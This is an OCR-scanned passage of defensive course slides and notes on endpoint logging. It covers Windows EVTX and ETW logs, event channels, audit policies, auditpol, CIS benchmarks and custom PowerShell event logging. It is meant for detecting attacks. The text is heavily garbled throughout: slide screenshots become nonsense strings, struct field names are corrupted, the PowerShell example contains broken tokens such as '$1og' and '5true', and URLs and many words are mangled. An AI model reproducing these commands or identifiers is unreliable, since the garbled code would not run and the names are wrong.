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Endpoint Systems

Previously, major services were discussed
* Primarily network focused
Host systems comprise the other side of the coin
» Security teams often good at network or systems
* But usually not both, as they represent a different skill set
Visibility necessary at both network and endpoint level
« Each is complementary rather than a duplication of effort
« One also informs the other

SECEt | QEM wWith Tarmmdl Analytis  #

Endpoint Systems

Section 2 focused on network services and key detections using mainstream network applications, This section
focuses on the flip side of that spectrum: Endpoint host systems. A truly effective enterprise will balance
network controls with endpoint controls. This also holds true with effective log monitoring and analysis. |n this
author's opinion, based on research with other professional consullants, organizations have o lendency to favor
one dred over the other,

This is most likely due to!

Training/knowledge: Budpets and opportunities may be limited, resulting in skills being better in either
network or endpoint security, Combine this with the fact that people have a natural tendency to stick with
whit they know. Also, lnck of raining and knowledge prevents branching out, You cannot do what you
simply do not knaw,

Luck of staff/time constraints: Many shops are understaffed or held under striet time constraints. As a
result, this encoursges high-value quick wins. Yet without proper training, the high-value projects will tend
to be one-sided.

Leadership direction: |f management is knowledgeable about network solutions mather than endpoing
solutions, then oftentimes a majority of security measures will be network-based. |f management is more
knowledgeable shoutl endpoint solutions, then most security measures may be endpoint focused,

If you have a balanced, prevent/detect architecture, great. Regardless of whether you do or do not, this course
will provide examples and thought processes,

& 2022 SANS Institute 5



Network Endpoint
* A small number of devices » Alarge number of devices
» Less to manage * Management is difficult
« Easier to maintain » Focused visibility footprint
* Alarge amount of data » Broad focus (network,
+  Purpose-built for network memory, processes, etc.)
* Limited data points * Many data points
» Allows for quick analysis * Time-consuming analysis
« Blinded b}r E]]Cl'}']]tiﬂﬂ « Data dEEI'}’ptEd at E]ld]]ﬂiﬂt

3 | SIEM milth et ] Anatiics +

Visibility Comparison

It is important to note that the level of detail involved In endpoint analytics is much greater than network
monitoring. Pul plainly, endpoints can perform and see things that network monitoring never will. This is
because endpoints deal with processes, storage and files, memory, as well as network traffic. They are the
ultimate destination of whatever is happening. The number of data points available on any given endpoint can
guickly bz overwhelming.

Take, as an example, 8 simple remote access Trojan. On the network, vou may be able to detect what [P
addresses and ports are in use. If raffic is unencrypted, you may even be able to see what commands are being
issued. Yet on the endpoint system, you can see all of this regardless of encryprion, plus you can see what
process(es) the Trojan is using, what user and privileges are being used, if files or registry keys are used for
persistence, and much more.

S0, which is better? This is the wrong question and mentality. Ideally, you have both.

It is much easier to monitor for unauthorized network connections and patterns of activity vsing network
equipment. This is because they are purpose-built, mature, and there are & lot less of them to manage than there
are endpoints. Even with only network data, there is a large visibility footprint—even if it is only high level.

On the flip side, endpoints can provide highly targeted visibility points. For example, you can look for
unauthorized programs being launched, services being created, and other indicators of activity. This type of
visibility is only offered on the endpoints themselves, A major drawback, though, is that management and
scalability are much more difficult. There are more data points available, it is hard to keep every device
configured properly, and a deeper understanding of the many endpoints is required,

=i £ 2022 SANS Institute
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Need for Endpoint Logs

Endpoint logs exist to tell what happened
* Level of detail and information is vast
* Multiple, specific data sources available
+ Large amount of user-attributable data
These logs are not just for operational use
+ Useful for detecting compromised systems
» Useful for hunt teaming
» Useful to piece together what happens

SECERS T B with Tactod Anatymcs

Need lor Endpoint Logs

Logs on endpoint systems exist to tell a story. That story is to describe what happened, be it a happy or sad
ending. Many organizations already understand this and use these logs for troubleshooting purposes. However,
they ure also key for catching post-compromise activity and hunt teaming.

Windows logs also provide a key source of user attributable data. This includes, but is not limited o, login
events, provess ercation, and denied aceess attempts,

2 2022 SANS |nstitute 7



Underlying System -

Endpoints can run on various operating systems )
« Windows is most prevalent in enterprise environments | )
« Linux/Mac is common (Linux often used for servers)
Understanding operating systems is important e
* Necessary to know what to collect and filter )
* Helpful to perform informed analysis

S

e . O

* Data is a paperweight if you cannot interpret it y

+ Many free sources to help implement and understand =

r

)
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Underlying System ! ‘j

Another thing that makes endpoint analytics difficult is that one size shoe does not fit evervthing, Even if an )

organization is 100% a Windows shop, which is highly unlikely, different versions of Windows exist. These O
varying versions both perform differently as well as log differently, ;

®

Therefore, an understanding of your underlying systems is eritical. This does not mean your organization is such L)

a unique snowflake that you must figure everything out on your awn. It simply means that understanding )

Windows or Linux will greatly aid in building alerts and performing the analysis. This course will call out some :

of the differences in Windows and Linux systems. &

Because Windows is the most prevalent, many of the techniques will be shown using Windows. However, many
of these techniques directly apply to Linux or other systems as well. That being said, there are a lot of free
resources available to help vou implement Windows logging as well as to help know what to monitor. A few |
examples of these are:

1. Spotting the Adversary with Windows Event Log Monitoring: This is one of the best free online
resources on Windows logs and is published and maintained by the NSA. )

(]
H

HASecuritySolutions GitHub: This is a free repository of tools and documentation for maintaining a
free SIEM solution,

3. SANS Blue Team GitHub: This is & free repository of tools related to the SANS blue team courses,

4. SANS Cyber Defense: Sponsored by SANS, this online resource containg many free blogs, white
papers, webeasts, and videos.

5. H & A Security Solutions Blogs: This is the author's company blog site that contains a free log and
continuous monitoring artieles,

B B 2022 SANS [nstitute



Thare are many other free onling resources that you can find with a simple Google search. This class also
focuses on giving examples of specific things o collect and monitor. However, it is not exhaustive as the end
goal is to teach you how, what, apd why things are done 50 vou can utilize known things as well s monitor
things custom to your environment. Please note the first link is digitally signed by the Department of Defense,
Unless you have added their certificate authority as a trusted authority, the site will generate an untrusted site
SECUTity warning.

References:

https:/iapps.nsa. goviinarchive/library/ reports/s potting-the-adversary-with-windows-event-log-monitoring .cfim,
https://seciss.com/3z

https:/github.com/HASecuritySolutions, hitps://sec555.com/6x
hitps:/github.com/sans-blue-team, httpe://sec355 comiby
hups:www.sans.org/blue-team/, hitps:\/sec333 .com/6z
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Windows Logs

Multiple built-in log sources exist across Windows platform
» 2003/XP and earlier use Windows Event Log (EVT)
« 2008/Vista+ use Windows XML Event Log (EVTX)

« 2000+ supports Event Tracing for Windows (ETW)
» Used to generate Event Trace Logs (ETL)
Commonly used for debugging or troubleshooting

High performance and often use memory buffers
400+ trace logs in Vista and over 1,000+ in Windows 10

SEL35% | SEEM vmh Tacola) Adalyrics

Windows Logs

Windows logging has been around for a while. Therefore, it is no surprise that it has changed over time.
Beginning in Windows NT 4.0, Microsoft introduced the Windows Event Log format of .EVT. Then, in
Windows Vista/Server 2008, this format was upgraded from EVT to Windows XML Event Log (EVTX).
These are the two main log types for Windows systems,

Microsoft introduced Event Tracing for Windows starting with Windows 2000. This provided means for
advanced, in-depth logging typically used for debugging or troubleshooting. Over time, Microsoft has
continued 1o increase the available default trace logs. For example, Windows Vista had over 400, yet
Windows 10 has over 1,000,

EVTX files in Windows 7 and later operating systems sre stored in C:\Windows\System3 2\ winevt\Logs,

References:

hitps://docs.microsoft.com/en-us/archive/blogs/nidebugging/part-3-etw-methods-of-tracing,
https:/fsec555.com/Sp
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Windows XML Event Log (EVTX)

Modern Windows systems store logs as .evix
« Contrary to the name, EVTX uses a binary format
» EVTX logs are the primary Windows log source
Addition of XML allows for custom log schemas
» Allows applications to specify additional properties/fields
« EventData/UserData sections contain these fields

It is possible to convert legacy .evt files to .evix

]

JECESS | TIEM wih Tt Analvebs

Windows XML Event Log (EVTX)

The most commen type of Windows logs today are the Windows XML Event Logs. These are log files stored
with the file éxfension of .evix. While the name states it is XML, under the hood it is still a binary file. The
XML comes from the Windows EviRender API, which converts between binary and XML when the file s read.

The change from EVT to EVTX is significant. By adding XML capabilities to events, it allows Windows a
granular layout by allowing custom fields, also referred to as properties, in the EventData and UsarData
sections. This means additional filtering and searching capabilitics—assuming logs that are collecled parse out
these fields,

Note that while there are (ools available to convert from EVT 1o EVTX, the conversion does not add extra data
or custom fields. Instead, these tools convert files so that they can be read by more modern applications,

£ 2022 SANS Inslitute 1



EVT vs. EVTX Fields

EVT - Fixed Fields EVTX - Default "Properties"

typedef struct _EVENTLOGRECORD | typedef wnus
Diatan L!I'Ilthj- EvTSystenProvide-hess = 8,
DWOAD Reserved; EwtSystwePravidertaia,
WD Recordiumbar; EvtSystemEeantin,
Ewthystemfualifiars,

OWoAD TimaGensrated;

= EvtSyntumbaval,

DWOAD Timeleitten, EwESysTeaTase,
DWORD EventIi EwtSystomDpcade,
WOAD. EventTyps; EvTSystemiaywords
A0 Hul!S'El"in‘!., EwtSysTenT insl raated,
WORD EventCategory; EvtsystemEventRacordid,
WOAD  RwservedFlags; pigh=c bk fin
OHORD € losingfecordiumber; :ﬁ?‘;—_::::lt:dﬂ"';:iﬂ'?_-'m-
DWORD Stringldffset; ;u'tﬁ:':tlIThr::;T.D. :
DWOAD UserSddlength; EstSyitenthannel
MR UsersidoFfsst; EviSystentosputer,
DWORD Datatength; EwtSystombsaril,
DWOAD Datalffsat; EVTSysTenYerdlon,

} EVENTLOGRECORD, *PEVENTLOGRECORD: EvtEystonProparty ToHD

b EWT_sSymiEM PROPERTY_IO;

| SIEME Wik Mool | Ay et

EVT vs. EVTX Fields

This slide demonstrates the behind-the-seenes differences between EVT and EVTX files, The key takeaway i5
that EV'T has fixed fields. EVTX defines the old EVT fixed fields s main properties and then allows the
EventData/UserData section to have additional properties { fields).

Relerences:

https://docs. microsoft.com/en-us‘windows/win32/api/winevi/ne-winevi-evi_system property id,
https./fsec555 . com/Sg

hitps://docs. microsoft.com/en-us/windows/win32/api/winevt/ne-winevt-evt_log_property_id,
hitps:fsec555.com/Sr

12 B 2022 SANS Institute
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Example EVTX Log
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Example EVTX Log

This slide is an example of & Windows log taken from a Windows 10 system. The top breaks out the Sysiom
Propetties section. These are the main fields for every event. The bottom shows the EventData section. This is
where custom fields such s NewProcessMName are stored.

To view the XML of'a Windows login to a Vista or later operating system, first open Windows Evenl Viewer
and then open the log you wish to analyze. The log will have a tab lor General and a tab for Details: Click on
Details and then switch from Friendly View to XML View.

B 2022 SANS Institute 13




Field Structure

XML contains mainstream fields

« EventData and UserData are further structured into other XML
fields (infinite possibility of fields)

« XML does not require traditional parsing...
= QOlder collection methods (syslog) may cause visibility loss

» For example, logs from 10 Windows devices are likely to have over
500 fields

Use of XML structure provides robust logging capabilities

SELEET | GHEM wach Tacocnl Aralvies

Field Structure

Microsoft made a smart decision when they decided to add the XML schema capabilities in EVTX files. This
effectively allows intelligent, structured logs that can contain more data, yet have more capabilities as far as
precision and filtering are concerned.

Because EVTX events use XML, an infinite number of fields can be created. This is important to note as
traditional log agents oftentimes will parse out the most critical fields. This can result in having approximately
50 to 100 Windows fields to search on. While this simplifies searching and filtering, it ¢lso is blinding as there
are easily over 500 fields and they may be necessary for cerimin technigues to work.

It is important to know if this is a limitation of your environment. If so, new events with new fields will not be
usable until custom parsers are built by your vendor. In this author's experience, this typically takes three to
twelve months unless you are willing to pay for immediate professional services. Oddly enough, since fields are

stored in XML, it is possible to auto parse out all new fields. Yet some products do not support this (often if they
are transporting the log over syslog).

14 2022 SANS Institute
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Event Tracing for Windows (ETW)

Windows natively supports system tracing
* Trace logs stored as .etl files

Provides kernel-level, high-performance monitoring
Disabled by default due to performance and # of events

May require disabling in order to view events

Potential capability for deep system-level monitoring
Trace files can be standalone or registered to a channel

WECEE5 | HEM winh Thooeal Andlyiics iz

Event Tracing for Windows (ETW)

Microsoft implemented truce logs to provide highly detailed logs that can maintain high-volume logging. These
lergzs are managed by the Event Tracing for Windows subsystem and are stored with a .etl file extension,
Typically, these are recommended to be enabled only when needed for troubleshooting and then disabled
afterward due to performance overhead, When viewing trace logs, it is sometimes required first to disable
tracing prior to being able 1o view the logs. Note that turning tracing back on elears the logs.

Micrasoft is investing more time into providing additional trace logging as well as minimalizing the
performance impact. For example, starting in Server 2012 R2 and later, Microsoft supports Windows DNS
Server debug logging at little to no noticeable impact. Should a Windows DNS Server be running commodity
hardware and be handling around 100,000 guerics per second, the performance impact is expecied 1o be only
%. In this example, this is the Microsofi-recommended method for performing DNS logging moving forward.

While the use cases for regularly collecting and analyzing ETL files are rare, it should be noted that many trace
logs exist that may be of use.

Reference:

hitps://does. microsoft.com/en-us/windows/wini2/etw/event-tracing-portal, hitps:/sec555 com/Ss

© 2022 SAMS Institute 15



"A channel is basically a sink that collects events."

Channels act as receivers of specific events
= Act as a high-level category
Applications/scripts can define their own channels

» Important for collection v [ Windows Logs
" . Application
Event logs requu:e an ID Swi
- Intended to classify event types ] Setup
« Usually unique to the specific channel =] System

E Forwarded Events

ViEcoca) Anglymce e

Channel

When people think of Windows logs, they often envision the Windows Event Viewer. The most common places
people look are the Application, Security, and System logs, These are examples of channels. They are a location
for created logs to go to. This is what they mean by a "sink.”

Reference:

https://docs.microsoft.com/en-us/windows/win32/wes/defining-channels, https://sec555.com/5t
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Channel Types

Four types: Admin, operational, analytic, and debug
* Admin and operational most common (.evix)
* Admin events consist of well-known and documented events
* Operational events typically used for human analysis
+ Analytic and debug often off by default (.etl)
* Due to the high volume of events generated when enabled
« Often requires stopping prior to the ability to read events
* Possible to obtain while running using third-party tools

TEL337 1 TEH with Tos ol Anaryncs . 1

Channel Types

Under the hood, there are four channgl types: Admin, operational. analytic, and debug, The purpose of these

channels is to describe the type of logs they contain. Fot instance, admin logs are supposed 1o be for events that
are well documented, and any resolution that is necessary is described in detail,

Event viewer graphically shows what type of channel is being used. See the next slide for more details.

Reference:

hips:/docs.microsoll.com/en-us/windows/desktop/WES/defining-channels, hitps://sec355.com/5t

T 2022 SANS Institute 17



Analytic and Debug Logs

|y TEr— Example of enabling
2 DriverFrami Create Custom View,.. ]
: = ek { h::_ i DNS logging for 2016
R S — s
s r_: Ea‘p-MH.‘hDdl Retresh
e
Steps
» Show Analytic and Debug Logs I
» Enable logging > B Bkt
b ] Eaphiethads-
B _:: Eler&u:hrl
t 121 Enroliment?

Analvtic and Debug Logs

This slide demonstrates how to see and enable debug logs. The right picture demonstrates enabling the DNS-
Server Analytical log. If vou look closely, you can also see that the icons for Audit, Analytical, Debug, and

Operational are different. These visually represent channel types,

18 i 2022 SANS Institute
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PowerShell Tuning

Some channels default to off
* Group policy does not have the option to enable them

« But group policy and asset management tools can invoke
PowerShell

Enabling extra logging via PowerShell is as simple as:

tloghlams = 'Micrasoft-Windows-DriverFrameworks-UserMode /Operational’

$1og = New-0bject sSystem.Diagnostics.Eventing.Reader.EventLogConfiguration STognName
§log IsEnabled=5true # change to $false if disabiing|

ilog. savechanges ()

PowerShell is also great to dynamically tune systems

SECEET | ST winhy Tacouml Snatyrecs

PowerShell Tuning

PowerShell is one of the best things Microsoft has imtroduced, It opens so many possibilities (both for defenders
and attackers). Por defenders, it provides a framework for dynamically and/or automatically conliguring
systems. For example, if there are special log levels that need to be enabled or disabled, PowerShell can handle
it. ITan application is using a configuration e 10 manags logeing. PowerShell can dynamically alter it based on

conditionul logic,

When all clse fuils, PowerShell can, on the fly, gencrate a log event to the Windows event log. More on this ina

few slides,

@ 2022 SAMS Institute 19



Managing Windows Logging -

Windows audit policies control what to log ®
* Can be defined locally or centrally through group policy J
Audit policies are broken down into log categories

* Logging enabled by selecting to log success or failure of an )
event’s occurrence Audit accauntlogon everts roperties M
=y - o Local Saaully Seing  Gelwe

Additional logging = additional Ao )
overhead )
| )
SECHSE | SEM with Tactal Ayt . )
Q
Managing Windows Logging )
Enabling or disabling Windows logging is done with Windows audit policies. Fortunately, Windows audit )
policies are not only easy (o sel, bui also easy 1o understand. Each log category within Windows audit policies O

has a tab labeled "Explain.” When clicked, "Explain” gives an in-depth description of what the policy does. =
This, combined with the ability to set and deploy audit policies via group policies easily, makes configuring L)
Windows logging easy. )
. )
Retference: =2
hitps://docs. microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/audit-policy- LJ
recommendations, https.//sec555.com/5u L)
)
I. -‘b
)
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Windows Audit Policies

Audit Policy Advanced Audit Policy

Basic log settings Provides granular control of logs
« Available for Windows 2000+ » Requires Server 2008 R2 or
Windows 7 and later
i Comgute Cesfeungim 5lllw— Zonigamn
# Computer Conligurmien LU dadit sccownt Fogun weents. Mo saidiling - m::f;:-::: :.:::;:“ :ﬁ

| Satteare Settings

i ety o Budd socognt manegement | Mo saditing ' Harse Denabatizn Baley _”m,“"""‘ :::::
¥ = % B vt (% oy e
VS P I i A a0y vEvIOE SEEll  ME sudfling i h"_"' e s [ ——
| Mamn Brialution Pali W Capizyed Prissn Fropgm ey
Bty (RmtiopThutd || = 1R legon evenky Mg mytliing ¥ [ Soews Seting ik Ot o
= : || i Budi ohiect soress Mo suditing & Aeczunl Fuliim Fovterge b e Tt
 Ceployed Frinters 3 L Pt s St rmurnd
- i Seduiity Sefmgs .,_.p.,m.-, palicy change M s itangy = ietiracs Pl with hi T S S N ——
& Account Pofeces e firci prttllnige dise Ha ruditing | Mrdemb Liit Wasagn e
S oy P . udit process tracking Mo auditing 2 il Ky Pohomn
1 e o - o sudit it Hrwem Apvirntnin Vi
AMHW Aucn TRz ety =t il Appbusion Canynd Faix

& 7 Secuwy Peice e Lo
= . Ay Surcht Poficy ©
My Spramem Budd Do
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Windows Andit Policies

The Windows audit policy is available in two formats; The basic audit policy and the advanced audit policy. The
basic audit policy was the only option until Windows 7 and Server 2008 B2, These operating systems introduced
the advanced audit policy. This allows for more granular control over what logs are recorded.
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Advanced Audit Policy

Default settings prefer audit policy rather than advanced
audit policy

+ If using advanced audit policy, remember to change this
Computer Configuration -> Windows Settings -> Security
Settings -> Local Policies -> Security Options

* Enable "Audit: Force audit policy subcategory settings"

At Forcm muclh pobcy subcalagory setings [Windows Vista o
\nbe| B averride suat pobcy Colegory SeTings

W) Enaidsl
() Disablad

=550 | HEM enTh Theaoy) Amernis

Advaneed Audit Policy

When using the advanced audit policy, it is important to know that the default behavior is for basic audit policy
settings to override advanced audit policy settings. Fortunately, Windows warns you of this when you visit the
advanced audil policy. It also shows how to change this behavior by setting "Audit: Force audit policy
subcategory settings” to Enabled.

Keep in mind that using advanced audit will also clear the simple policy settings.

Reference:

https://docs. microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R 2-and-
2008/fT18231 1{v=ws.10)#BKMK 3, hitps://sec555.com/5v
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auditpol.exe

Non-domain joined systems can be

configured with auditpol.exe! EZE o e
. A ?:ltqgnry.-"smnupr}r fetting
» Can list and set policies Systen
Security System Extension Success and Failure
" . - System Int it Success and Fail
List policy settings: hsec Driver o fudieing
ther System Events 4 lui
auditpol /get /category:* security sate Chrge o sicing
. Logen/LogafF
Logon Success end Failure
Set policy settings: B Lokt cces o ety

auditpol /set /subcategory:"file system" /success:enable
/failure:enable

SRS [ SEM wirh Tt Ay T

auditpol.exe!

Mot all systems are typically joined to a domain, Some are intended net to be joined for security purposes (such
as DM systems). In order to effectively maintain log settings, audit policies need to be pushed out. Since group
palicy is not available, an alternative method such as using auditpol.exe is needed. This command line utility can
retrieve and set nudit policy setlings, Becavse of this, it is fairly easy to automate and push out a standardized
audit policy for non-domain joined systems.

* Another commund that may be beneficial is the one below, It lists out all the available policy categories.
auditpol /list fsubcategory:

Reference:

https:Vwww.ultimotewindowssecurity. com/wiki/page.aspxTspid=SecurltySettings, https:/isecS55.com/Sw
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CIS Benchmarks

The Center for Internet Security (CIS) provides free
benchmarks

Used to evaluate and implement security baselines

» Recommends audit policy settings
* More importantly, explains why

« May place emphasis on denial of service via logging

» Recommendations are suggestions—tune to your environment
after reading CIS reasoning

CIS Bénchmarks

In order to tactically detect things, logs must first be collecied. In Windows, this means an effective audit policy
needs enabling. The problem quickly becomes, “What settings should | set?” One of the quickest ways 1o find
recommendations an which audit policies need enabling and why 15 to read the CIS benchmarks based on
Windows,'! These benchmarks include baselines for securing Windows operating systems and other Windows
programs like Internet Explorer and SQL Server.

Where C1S benchmarks shine is that every setting includes a detailed breakdown of what it does, why itis
important, and why the recommendation is for certain settings. This is great for understanding what the impact
of a specific setting is. In fact, the details provided are considerably better than the description Microsoft
provides under Group Policy Management. Some of the additional information provided includes the specific
event [Ds generated, the vulnerability and impact of enabling or disabling the policy, and suggested
countermeasures.

The recommendations provided are generally acceptable, However, consideration should be given to your
environment and collective settings. For example, there are some events for which you may wart to record both
successful atternpts and failures, yet the recommendation is for success only. Logoff events are one example
where the recommendation is to only record successful logoff attempts. The reasoning is that the setting
provides an attacker the ability to generate millions of failure events. If the "Audit: Shut down system
immediately if unable to log security audits” is enabled, this can grant attackers the ability to perform a denial of
service attack. If this setting is off, you instead run the risk of logs stopping once full or of logs constantly being
rotated out if "Overwrite events as needed (oldest events first)” is set. "Overwrite, events as needed” is the
default behavior,

Reference:
hitps:/fwww cisecurity org/benchmark/microsofi_windows desktop, httpa:/faec555.com/5x
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Account Management

Used to track changes to groups, users, and computers
* Needed to monitor key groups for modifications
* Such as new members added to Domain Admins

Powerful when combined with change control system

Subestegony Audet Events
AL Audet Application Group Manzgement Mot Configured
| Audit Computer Account Managemant Mel Configured
* Audit Distribution Growp Management Met Configured
=t Audit Other Account Management Events Suceess and Failure
W Audd Secunty Group Management Swecess and Failue
= Audit User Account Management Surcess and Fallure

LS55 | SIEM with Toisical Arabms

Accoun! Management

These types of events are useful w keep track of unauthorized changes. For example, it is a best practice to
maonitor additions to any sensitive security group such as Domain Admins and Enterprise Admins, While out of
the gate something such as monitoring Domain Admin additions are high value, more can be achieved il logs
from a change control system can be wsed to verify security group changes

For example. if employees are added to a group called Sensitive Data access, hopefully, il required someone to
authorize the addition. If the authorization record can be used, it can verify that all modifications came with
prior consent. Then, should an adversary add an account to this group, it would be red-fAagped as no prior
authorization was given.

Audit Application Group Management: Monitors changes 1o application groups. Application groups are
osed to te roles using Windows Authorization Manaper.

Audit Computer Account Management: Monitors changes to computer accounts.

Audit Distribution Group Management: Monitors changes to Active Directory distribution groups. While
this can record details aboul groups being modified such as Domain Admins, it is not needed. he Audit
Security Group Management records more information that is helpful and specific,

Audit Other Account Management Events: Monitors special changes such as a password hash of a user
accoun! being accessed or changes to the password policy or lockout policy,

Audit Security Group Management: Monitors changes 1o standard security groups,
Audit User Account Management: Monitors changes to user gceounls,
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Logon/Logoff L)

Many attacks involve credential theft and reuse s
» Therefore, tracking logons is critical )

Too many failed login attempts show brute forcing,
misconfigurations, or password spraying

Saby etegary Audi Bueria

Too many successful logons 2 bt Account Loskont Socomms e e )
. = By Grsup Membership Kot Configueed :
means the end is near... 2 B Penc Esandd Mot et Contigues ®
o Eaichd] [P Wl Msde Kot Configured i
. . B S (Pyes Gk Meda Mt Configured |
» Or that legit credentials are B it Logon S L)
* = Au Sl and Faifure |
being used to crawl the B ek ot Eosigio )
# fucit Other Logen/Lagef Evenia Succus and Fadure (3
nEtwﬂrk 2 o ik Specal Logon Faceena ard Falune l' =
& Aucik User / Device Claima Mot Confugured L)
ST | SIEM wirn Tact=al Anakics Ir ]
Q
Logon/Logoff .
One of the least detected atiacks that are highly prevalent is credential theft. In fact, Mandiant, a major incident ()
hand|ing company, stated in an annual M-"Trends report that 100 of their investigations involved credential theft 'S
and reuse. This trend still holds true for both malicious compromise and bought and paid for penetration testing. =
Monitoring logons is a eritical component in continuous monitoring. At the most basic level, organizations should L)
look for repetitive login failures or successes to find brute force attempis or compromised accounts spreading —
internally. Once this and other high-value guick wins are implemented, then organizations should advance their =
monitoring to include things such as baselining user activity by monitoring logins, logoffs, times of oceurrence, )
and systems typically logged into per user. This is an area where machine learning has greatly improved and could '
be of value. Baselining is covered in more detail in Section 4.
)
Audit Account Lockout: This records both successtul and failed logins when a login request is made against L)
a locked-out account. ~\

Audit Logol¥: This records both successful and failed logoff attempts. This is useful for context. For
instanice, was user XYZ still logged in at the time of an incident?

Audit Login: This records successful and failed login attempts. Failed login attempts are useful for catching -
brute force attempts, and successful login attempts are great for profiling user activity or finding credential §
theft. This may manifest as credentinls being used during abnormal hours or creating large numbers of )
sessions. ;

Audit Other Logon/Logoff Events: This records successful and failed logon/logoff events for things such as s/
terminal service or sereen saver sessions,
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Audit Special Logon: This records requests to log on for accounts added to special monitored groups. For
this policy 1o be effective, you must find the S1D of any groups to be monitored and add them to

HEEY LOCAL MACHINESystem\CurrentControlSet\Control' LsatAudit\SpecialGroups, This key does
not exdst by default and should be set to string. For more information, see KB article 947223,

Reference:

hitps:/techcommunity.microsoft, com/t5/ask-the-directory-services-tenm/special-groups-auditing-via-group-
palicy-preferences/ba-p/ 395005
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Detailed Tracking

Can generate vast amounts of logs—proceed with caution
= Has built-in monitoring of processes
+ Default behavior does not include command line logging

» Windows 10/Server 2016 also includes plug and play

monitoring
Subcategory " Audit Events
B4 Buselit DPAPY Actrity Mot Configured
N Audiz PHP Activity Succes
21 Audit Process Creation Success and Farlure
#+| Mudit Process Terminstion Mot Configured
SN Audit ROC Events Nt Configured
25 Andit Tokan Right Adjusted Mot Configured

TS5 S withi Tactic) Amaives =

Detailed Tracking

Be careful when enabling logs under detailed tracking as they may have performance implications, However,
there are a few critical events analysts should regularly monitor. One is process creations, which involves
logging all new processes being launched, Windows can natively log this if Audit Process Creation is enabled.
These types of logs can also be collected from application control suites, It is important 1o note that the default
behavior of Audit Process Creation is to generate an event on each new process being launched but that it does
not include any command line parameters involved with the process starting,

To enable auditing process creation and inelude command line parameters, enable "Audit Process Creation” but
also enable the policy "Include command line in process creation events” located at Computer Configuration -=
Policies == Administrative Templates -> System -> Audit Process Creation,

Another thing worth tracking is new devices being plugged in, such as plug and play devices, Starting with
Windows 10 and Server 2016, Microsoft allows logging of plug and play devices. While this; unfortunately, is
not available for older operating systems, it is & step in the right direction.
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Object Access

Object access is one of the most misunderstood settings
* Such as audit file system ... it does not log all file access

w ] Busnewd et P pliey Confige & Subcategry Pyt
v M At Pafioe

u, v oo Apglication Gere ded Keat Candfigures
';_,i Rermusk Engun 2 furde Cetrficabian Samaces Saic Tt dised Faafurs
5 ;:E::‘: ::I::T"MH P feishit Dietailed File Share Succett ahed Farluis
= g ™ 0 Auidid Pl Share Success wnd Failure
o Fiheress
] e i+ Audit Far Gysbem fuiccess end Faillure
B Budik Ritwnag Platlerm Conmerticn Sacces wnd Failure
B e B mudit Fltming Fatleor Pacid Diog Nt Configaned
5 Mwilege Lije T Audit Handle Manipulation Hot Canfigurmd
v 5 Sirem = At Kemel Diojece Ml CamFigaind
5 Global Ouject Arce & || 55 Budit Gther Ghiject Access Bvots Mot L anfrgund
ol Falicy:besed Qok == Al Regintry Succest and Fallew
Bgrministatioe Yemplater Pelicy defir FE Audit Bpmiovalde Sinnge Sercesr arad Failise
darences W Bueit SAM Sutcess and Fuilurs
pifigumatan =L Audst Ciertrad Areens Peficy Stagirg et Camligiared
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Object Aceess

Object access controls log for quite a few things. 17 you wish to audit files, registry keys, or network shares,
you must enable the auditing capability first. For example. afler turning on Audit File System, it grunts
Windows the ability to audit things like files or folders being accessed, but only if an ACL is placed an them
telling what to audit. In the past, there was & wide misconception that enabling this would generate an event
for every filc accessed.

This audit policy also controls things such as Windows Firewall logging to a log channel and file access on
removable drives. In Active Directory, many (hings are considered objects (users, groups, files, folders,
registry keys, ete.). This policy even controls certificate-related events,
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Additional Windows Logging

Sometimes, additional logging is necessary or
recommended
This can be achieved through:
» Writing and using PowerShell scripts
« Developing custom applications, drivers, or services
« Installing third-party programs

» A common and free program that provides additional logging is
Sysmon' by Windows Sysinternals

FECS55'| SIEF with Thctial Ansdyiics

Additional Windows Logging

With each version of Windows, the logging capabilities are getting better and better. Yet there still are things
that Windows does not natively log. Should you need additional logging, this can be handled by writing custom
scripts or programs or often il is handled by purchasing a commercial product and implementing it.

One reason for the trend toward commercial products is they provide support for their products, and they market
them. Yet there are free alternatives such as Sysmon' or writing custom seripls. These solutions often provide
immense amounts of useful information and are a |0t easier to maintain than ong would think.

Reference:

https://does.microseft.com/en-us/sysinternals/downloads/sysmon, hitps:/sec355.com/Sy

30 £ 2022 SANS Institute




Custom Logging with PowerShell

PowerShell makes writing custom logs easy
+ Simply use Write-EventLog to generate a custom log

» If you want a custom channel, first, use New-EventLog

New-Eventlog -LogMame MyCustomlogs -Source “MyPSLogger"

write-EventLog -Loghame MyCustomlogs -Source "MyPSLogger™ -EventId 31337 &
-EntryType Warning -Message "Sec555 is too cool to handle”

Can be used to generate logs that even basic log collectors
can collect

» May remove the need for special log agents

SECZANA | 5B wailh Tacteal A vy

Custom Logging with Powershell

One of the easiest ways to generate a custom log is to use PowerShell. PowerShell, in itself, is powerful and can
do just about anything. Taking that functionality and adding a simple function to ereate logs opens the door for
all sorts of opportunities. Let's say, for instance, you have a program that only outputs logs (o 2 file, vet the log
agent or collection method you have at your disposal does not handle files well. To resolve this, you could write
a PowerShell script that monitors the log file and turns it into Windows event logs.

Another example would be if you had a reoceurring task that you would like to log. Instead of outputting to a
log file. simply dump data into an event log channel. Since PowerShell also has the capability to create a new
channel us well as specify custom Event [Ds, logs become easy to read and sort.

If you are planning on using a custom event log, you first must create it using New-Eventlog. Failure to do so
will result in an error and no log being generated when invoking Write-EventLog, Write-EventLog even works
in older operating systems such as Windows XP.

Important note: Windows task scheduler, starting in Windows Vista, has the capability 1o kick ofT o task based
ona Windows Event 1D being generated, This can be combined with custom logs 1o trigger actions or could be
used 1o monitor an event where the description does not provide sufficient detail. When that event triggers, a
task can execute to gather information and create a custom event with the relevant information.
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PowerShell-Generated Log

“5 Applications and Services Logs il MyCustomlogs MNumber of events: | (1) New svents svailable

[E E5RV_SVC_QUEENCREEK —_— — ——
£ Hardware Events || Level Date and Time Source Event ID

y 2 Intel L& Waming 17201794226 PM  MyPSLogger 31337
[ internt Exploser
ﬁ K—f}' Managemn‘rt S'H'U'-ict | Eu':ntiﬂ.}?. H:.IPSLugg:r

» Ui Mfcrcrs:lﬂ II General Details
[&] Microsoft Office Alerts

: T: MyetomitE [; 5ec335 is too cool to handie

» L Microsoft-IEFRAME i

> T Multimedia-HEVCDECODER |
& MyCustomLogs |

e -

353 | SEEM oty Pacmol Anaimies

PowerShell-Generated Log

This slide shows the creation of a new event log channel called MyCustomlogs, as well as a single log
generated from the commands on the previous slide,
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Free download from Windows Sysinternals
» Written by Mark Russinovich and Thomas Garnier
* Runs as a Windows system service and device driver
* Monitors:

